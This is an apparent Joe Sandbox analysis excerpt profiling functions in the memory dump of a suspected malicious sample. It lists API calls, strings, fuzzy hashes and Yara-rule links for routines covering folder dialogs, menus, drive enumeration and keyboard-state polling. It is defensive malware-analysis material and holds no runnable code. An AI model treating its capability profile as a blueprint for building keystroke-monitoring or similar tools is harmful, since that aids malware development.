CoCreateInstance.OLE32(002C2D7C,00000000,00000001,002EA89C,?), ref: 0029D948
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0029D9B7
CoTaskMemFree.OLE32(?), ref: 0029DA0F
_memset.LIBCMT ref: 0029DA4C
SHBrowseForFolderW.SHELL32(?), ref: 0029DA88
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0029DAAB
CoTaskMemFree.OLE32(00000000), ref: 0029DAB2
CoTaskMemFree.OLE32(00000000), ref: 0029DAE9
CoUninitialize.OLE32 ref: 0029DAEB

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 62ce6243e69fce859a93485aa344dc6d067068ba3ce996c04b3b0e2f6e4fe2f7
Instruction ID: 22d8feb7b968125dd84acbc0e8879362662f323b9328650f9f2b8a2a4b554b40
Opcode Fuzzy Hash: 62ce6243e69fce859a93485aa344dc6d067068ba3ce996c04b3b0e2f6e4fe2f7
Instruction Fuzzy Hash: F8B1F975A10209AFDB04DF64C988EAEBBB9FF49304B148469E90AEB251DB30ED51CF50

Function 0029052C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 002905A7
SetKeyboardState.USER32(?), ref: 00290612
GetAsyncKeyState.USER32(000000A0), ref: 00290632
GetKeyState.USER32(000000A0), ref: 00290649
GetAsyncKeyState.USER32(000000A1), ref: 00290678
GetKeyState.USER32(000000A1), ref: 00290689
GetAsyncKeyState.USER32(00000011), ref: 002906B5
GetKeyState.USER32(00000011), ref: 002906C3
GetAsyncKeyState.USER32(00000012), ref: 002906EC
GetKeyState.USER32(00000012), ref: 002906FA
GetAsyncKeyState.USER32(0000005B), ref: 00290723
GetKeyState.USER32(0000005B), ref: 00290731

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: c90339809af3d6b424d4c2e062deea0ca9f7442dd20b2c592274b2873cdb16bd
Instruction ID: 85471ecbc89572ab634035f568b0becc020e183f5375a848cdd1ccb5347e8910
Opcode Fuzzy Hash: c90339809af3d6b424d4c2e062deea0ca9f7442dd20b2c592274b2873cdb16bd
Instruction Fuzzy Hash: F751D920A1478E2DFF35DFA088947EABFB49F01380F48459ED5C6561C2DA64AB6CCF61

Function 0028C72A Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0028C746
GetWindowRect.USER32(00000000,?), ref: 0028C758
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0028C7B6
GetDlgItem.USER32(?,00000002), ref: 0028C7C1
GetWindowRect.USER32(00000000,?), ref: 0028C7D3
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0028C827
GetDlgItem.USER32(?,000003E9), ref: 0028C835
GetWindowRect.USER32(00000000,?), ref: 0028C846
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0028C889
GetDlgItem.USER32(?,000003EA), ref: 0028C897
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0028C8B4
InvalidateRect.USER32(?,00000000,00000001), ref: 0028C8C1

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: eb40039f7e5e3350639422539946baf3305973b7169fb3f11b6ce9a050b4d434
Instruction ID: 75b21bb9440a506239a49c2f55622bb037c7b16b872e4840d47e329c5118094d
Opcode Fuzzy Hash: eb40039f7e5e3350639422539946baf3305973b7169fb3f11b6ce9a050b4d434
Instruction Fuzzy Hash: B4514175B10205AFDB18DF68DD99AAEBBBAEB88310F14822DF915D72D0D7709D408B10

Function 002321A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 002325DB: GetWindowLongW.USER32(?,000000EB), ref: 002325EC

GetSysColor.USER32(0000000F), ref: 002321D3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: c1c828bff7e3e784910aaf16b469423a93370baa01eec33989a1798cdd09bb74
Instruction ID: db2dacf74ec2750715d43695ca70bb4660dea94d2f641a6d3bc67351bf0e96dc
Opcode Fuzzy Hash: c1c828bff7e3e784910aaf16b469423a93370baa01eec33989a1798cdd09bb74
Instruction Fuzzy Hash: BC41A371020241EFDF255F28EC48BBA3B65EB06331F244365FDA98A1E2C7318C96DB61

Function 0029AB12 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0029AB76
GetDriveTypeW.KERNEL32(00000061,002EA620,00000061), ref: 0029AC40
_wcscpy.LIBCMT ref: 0029AC6A

Strings

ramdisk, xrefs: 0029ABEA
fixed, xrefs: 0029ABBE
all, xrefs: 0029AB7C
network, xrefs: 0029ABD4
cdrom, xrefs: 0029AB92
removable, xrefs: 0029ABA8
unknown, xrefs: 0029AC01

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 40d4a124ae5b16b342ace621fc8f97500c7204c07edc615217856ef87d4d0dc8
Instruction ID: 6a6dfa04353927e0ba0ed1fe2f0923566a29ec1c9e2d22361eb420eb9ff33dbf
Opcode Fuzzy Hash: 40d4a124ae5b16b342ace621fc8f97500c7204c07edc615217856ef87d4d0dc8
Instruction Fuzzy Hash: 5751C0701383029BCB14EF14C991AAEB7A5EF95304F50482DF886572A2DB71E969CF93

Function 00239997 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 002399C2
__swprintf.LIBCMT ref: 00239A0C
__i64tow.LIBCMT ref: 0026FA0F

Strings

0x%p, xrefs: 0026F9F1
True, xrefs: 0026F9D0
%.15g, xrefs: 00239A06
False, xrefs: 0026F9D7

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 1a8726b41b267650f7da17e2439d9a59c1c058acc0ab17888b9b4a3a716d6651
Instruction ID: a8cf5507a244cab356524dafb658787a01cd334bdf8a5a782bbdd157fb6b5f14
Opcode Fuzzy Hash: 1a8726b41b267650f7da17e2439d9a59c1c058acc0ab17888b9b4a3a716d6651
Instruction Fuzzy Hash: 7B41C6B1634206AAEF24DF38DD42F7673E8EB45300F20446EE549D7291EAB199A5CF11

Function 002B73C1 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002B73D9
CreateMenu.USER32 ref: 002B73F4
SetMenu.USER32(?,00000000), ref: 002B7403
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 002B7490
IsMenu.USER32(?), ref: 002B74A6
CreatePopupMenu.USER32 ref: 002B74B0
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 002B74DD
DrawMenuBar.USER32 ref: 002B74E5

Strings

0, xrefs: 002B73CF
F, xrefs: 002B74D1

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: feebfcda4d875f57f2540b2706599ab8be80a0fb147b5143ffb6ac976e9ad1d7
Instruction ID: f6a6a526cb73a0b6f3932736ea8ca48d7680de371c11f37ba74a9805b2701f01
Opcode Fuzzy Hash: feebfcda4d875f57f2540b2706599ab8be80a0fb147b5143ffb6ac976e9ad1d7
Instruction Fuzzy Hash: 6C415875A1020AEFDB20DF64E988EEABBB5FF49391F144128F95997360D730A924CF50

Function 002B772A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000), ref: 002B77CD
CreateCompatibleDC.GDI32(00000000), ref: 002B77D4
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 002B77E7
SelectObject.GDI32(00000000,00000000), ref: 002B77EF
GetPixel.GDI32(00000000,00000000,00000000), ref: 002B77FA
DeleteDC.GDI32(00000000), ref: 002B7803
GetWindowLongW.USER32(?,000000EC), ref: 002B780D
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 002B7821
DestroyWindow.USER32(?), ref: 002B782D

Strings

static, xrefs: 002B7765

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: caac43b2673912a48d7553faf2e9230f25b69c10dddbf4f9c75276b902e01d5d
Instruction ID: 947ecb9385cade90073b8a788c1725f2a9ef2ed7bb4f756b0da2adb7976e93ab
Opcode Fuzzy Hash: caac43b2673912a48d7553faf2e9230f25b69c10dddbf4f9c75276b902e01d5d
Instruction Fuzzy Hash: B0316C31115115ABDF129F74EC0CFEA3B69EF49360F114325FA25A60A0DB71E821EBA4

Function 00257040 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0025707B

Part of subcall function 00258D68: __getptd_noexit.LIBCMT ref: 00258D68

__gmtime64_s.LIBCMT ref: 00257114
__gmtime64_s.LIBCMT ref: 0025714A
__gmtime64_s.LIBCMT ref: 00257167
__allrem.LIBCMT ref: 002571BD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002571D9
__allrem.LIBCMT ref: 002571F0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0025720E
__allrem.LIBCMT ref: 00257225
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00257243
__invoke_watson.LIBCMT ref: 002572B4

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction ID: 32a24dae645e0ac8b86f1603ad2dc3921c57a11ee44954884963478ade346f6d
Opcode Fuzzy Hash: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction Fuzzy Hash: 70712771A64717ABE714EE79DC41B6AB3E8AF10321F10422AFC14E76C1EB70DD648B94

Function 00292A16 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00292A31
GetMenuItemInfoW.USER32(002F6890,000000FF,00000000,00000030), ref: 00292A92
SetMenuItemInfoW.USER32(002F6890,00000004,00000000,00000030), ref: 00292AC8
Sleep.KERNEL32(000001F4), ref: 00292ADA
GetMenuItemCount.USER32(?), ref: 00292B1E
GetMenuItemID.USER32(?,00000000), ref: 00292B3A
GetMenuItemID.USER32(?,-00000001), ref: 00292B64
GetMenuItemID.USER32(?,?), ref: 00292BA9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00292BEF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00292C03
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00292C24

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: d0cd0cdf5ff3fc2ea39e1e2e21dfd8192557be748cfb84655c6e3a67608da868
Instruction ID: fc0e84ded15e27eeb679b0ab85f5394c4bed322b2ebf06acb81e390ce0615609
Opcode Fuzzy Hash: d0cd0cdf5ff3fc2ea39e1e2e21dfd8192557be748cfb84655c6e3a67608da868
Instruction Fuzzy Hash: AB61B1B192024AFFDF21CF64DD98EBE7BB8EB01348F140569E841A3251D731AD29DB20

Function 002B7192 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 002B7214
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 002B7217
GetWindowLongW.USER32(?,000000F0), ref: 002B723B
_memset.LIBCMT ref: 002B724C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002B725E
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 002B72D6

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: d80cbc505f2f8dbe3546fdd333757fbf9ef5680f5b8cdf4f148a0510608b1896
Instruction ID: 1292c22a7b6965e51f7d81df630443ce4bd0f6c751e7ef2126679751a94326b6
Opcode Fuzzy Hash: d80cbc505f2f8dbe3546fdd333757fbf9ef5680f5b8cdf4f148a0510608b1896
Instruction Fuzzy Hash: 50618C71910208AFDB10DFA8CC85EEEB7F8EB49750F1441A9FA14A72A1C770AE55DF60

Function 0028710E Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00287135
SafeArrayAllocData.OLEAUT32(?), ref: 0028718E
VariantInit.OLEAUT32(?), ref: 002871A0
SafeArrayAccessData.OLEAUT32(?,?), ref: 002871C0
VariantCopy.OLEAUT32(?,?), ref: 00287213
SafeArrayUnaccessData.OLEAUT32(?), ref: 00287227
VariantClear.OLEAUT32(?), ref: 0028723C
SafeArrayDestroyData.OLEAUT32(?), ref: 00287249
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00287252
VariantClear.OLEAUT32(?), ref: 00287264
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0028726F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 5e60183057a153d2a44b0610d04a603df362a86400c92e9ad708eca9fe317145
Instruction ID: 9070df1f2699ffaad3f76ffea4587b0a4edaac97c72f1a3795cc40ed6c1efa45
Opcode Fuzzy Hash: 5e60183057a153d2a44b0610d04a603df362a86400c92e9ad708eca9fe317145
Instruction Fuzzy Hash: 9B417F75A10219AFCF00EF68DD489AEBBB8FF08354F108169FA45A7261CB70E955CF90

Function 002A86D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00239997: __itow.LIBCMT ref: 002399C2
Part of subcall function 00239997: __swprintf.LIBCMT ref: 00239A0C

CoInitialize.OLE32 ref: 002A8718
CoUninitialize.OLE32 ref: 002A8723
CoCreateInstance.OLE32(?,00000000,00000017,002C2BEC,?), ref: 002A8783
IIDFromString.OLE32(?,?), ref: 002A87F6
VariantInit.OLEAUT32(?), ref: 002A8890
VariantClear.OLEAUT32(?), ref: 002A88F1

Strings

Invalid parameter, xrefs: 002A880F
Failed to create object, xrefs: 002A878E, 002A8844
NULL Pointer assignment, xrefs: 002A87C8

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 049d75b5b56406273d26278f8bf5f19dab7ad1c00da7f853014009775e40af03
Instruction ID: 491db7a12c136d6ac07d6915f53a036dc92981382f2984054c3c582856722cac
Opcode Fuzzy Hash: 049d75b5b56406273d26278f8bf5f19dab7ad1c00da7f853014009775e40af03
Instruction Fuzzy Hash: 2561DF746283019FD710DF24C988F6ABBE8AF4A714F10091DF9859B291DF74ED68CB92

Function 0029B72E Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0029B73B
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0029B7B1
GetLastError.KERNEL32 ref: 0029B7BB
SetErrorMode.KERNEL32(00000000,READY), ref: 0029B828

Strings

NOTREADY, xrefs: 0029B7E7
READONLY, xrefs: 0029B7F3
READY, xrefs: 0029B801
UNKNOWN, xrefs: 0029B7E0
INVALID, xrefs: 0029B7FA

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
